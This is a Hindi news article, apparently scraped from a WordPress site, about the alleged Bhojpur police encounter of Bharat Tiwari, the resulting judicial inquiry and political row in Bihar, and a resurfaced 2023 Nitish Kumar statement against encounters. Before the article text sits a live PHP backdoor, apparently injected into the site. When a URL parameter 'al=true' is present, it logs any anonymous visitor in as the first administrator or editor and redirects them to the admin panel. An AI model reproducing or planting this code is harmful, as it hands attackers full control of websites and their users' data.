// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); भोजपुर एनकाउंटर पर बवाल, भरत तिवारी मामले में न्यायिक जांच के आदेश से गरमाई बिहार की सियासत – प्रत्युषा आशा की नयी किरण
राजनीती

भोजपुर एनकाउंटर पर बवाल, भरत तिवारी मामले में न्यायिक जांच के आदेश से गरमाई बिहार की सियासत

पटना
 बिहार के भोजपुर में हुए भरत तिवारी कथित एनकाउंटर मामले ने राज्य की सियासत को पूरी तरह गरमा दिया है। इस मुठभेड़ के बाद उठ रहे गंभीर सवालों के बीच वर्तमान सम्राट सरकार विपक्ष और मानवाधिकार संगठनों के निशाने पर है। विवाद इतना बढ़ चुका है कि सरकार ने मामले की न्यायिक जांच के आदेश दे दिए हैं। इसी सियासी हलचल के दौरान पूर्व मुख्यमंत्री नीतीश कुमार का करीब तीन साल पुराना एक बयान सोशल मीडिया और राजनीतिक गलियारों में चर्चा में है। लोग इस पुराने बयान के जरिए मौजूदा कानून-व्यवस्था और पुलिसिया कार्रवाई की तुलना कर रहे हैं।

नीतीश कुमार ने एनकाउंटर पर क्या कहा था?
17 अप्रैल 2023 को नीतीश कुमार ने मीडिया से कहा था, 'अपराधियों का सफा माने मार दीजिए, यह कोई तरीका है? इसका मतलब जो जेल में जाएगा तो उसको मार दीजिए। ऐसा कोई नियम है? आप बताइए तो अरे तो कोर्ट ना फैसला करता है ? अगर, किसी को यह भी सजा होती है कि उसको फांसी होगी। फांसी हो जाती है। लेकिन, बाकी को साल तक (सजा) का होता है कितने तक का होता है? सजा या कोई जेल में हो तो इलाज के लिए ले जा रहा है या किसी काम के लिए ले जा रहा है और रास्ते में हो गया (एनकाउंटर) ये बहुत दुखद है।'

नीतीश कुमार यहीं नहीं रूके। उन्होंने कहा, 'इसपर तो निश्चित रूप से लोगों को एक्शन करना चाहिए। क्या ठीक है? किसी को सजा होती है या किसी पर केस होता है, कोई जेल में है उस पर हमको नहीं कुछ करना है। हमारा यह है कि कोई भी जेल में रहेगा और कोई भी किस तरह से बाहर जाए और उसको ऐसे ही मार दें? ये तो बड़ा दुखद बात है ना?'

अपराधियों का सफा माने मार दीजिए, यह कोई तरीका है? इसका मतलब जो जेल में जाएगा तो उसको मार दीजिए।

भरत तिवारी कथित मुठभेड़ से मुश्किल में सम्राट सरकार
भोजपुर में पुलिस कार्रवाई के दौरान मारे गए भरत तिवारी के मामले ने तूल पकड़ लिया है। घटना के सामने आए कुछ वीडियो साक्ष्यों के बाद पुलिस की थ्योरी पर गंभीर सवाल खड़े हो रहे हैं, जिसके चलते राज्य की सम्राट चौधरी सरकार बैकफुट पर है। सरकार ने मामले की संवेदनशीलता को देखते हुए तुरंत न्यायिक जांच (ज्यूडिशियल इंक्वायरी) के आदेश जारी कर दिए हैं, ताकि निष्पक्षता सुनिश्चित की जा सके।

नीतीश कुमार के पुराने बयानों की दुहाई देकर अब विपक्ष सम्राट सरकार पर चौतरफा हमले कर रहा है। राजनीतिक विश्लेषकों का मानना है कि इस एनकाउंटर ने न सिर्फ कानून-व्यवस्था पर सवाल उठाए हैं, बल्कि जेडीयू और बीजेपी के बीच नीतिगत मतभेदों को भी हवा दे दी है। अब सभी की नजरें इस मामले में आने वाली न्यायिक जांच की रिपोर्ट पर टिकी हैं।

भरत तिवारी कथित मुठभेड़ मामला क्या है?
    बिहार के भोजपुर में पुलिस ने कथित एनकाउंटर किया।
    पुलिस मुठभेड़ में आरोपी भरत तिवारी की मौत हो गई।
    वायरल वीडियो में सरेंडर के बाद गोली मारते देखा गया।
    मानवाधिकार उल्लंघन और फर्जी एनकाउंटर के गंभीर आरोप लगे।
    चौतरफा सियासी दबाव के बाद न्यायिक जांच के आदेश दिए।

 

RO No. 13169/ 31

RO No. 13098/ 20

PRATYUSHAASHAKINAYIKIRAN.COM
Editor : Maya Puranik
Permanent Address : Yadu kirana store ke pass Parshuram nagar professor colony raipur cg
Email : puranikrajesh2008@gmail.com
Mobile : -91-9893051148
Website : pratyushaashakinayikiran.com

जनसम्पर्क विभाग – आरएसएस फीड

[wp-rss-aggregator]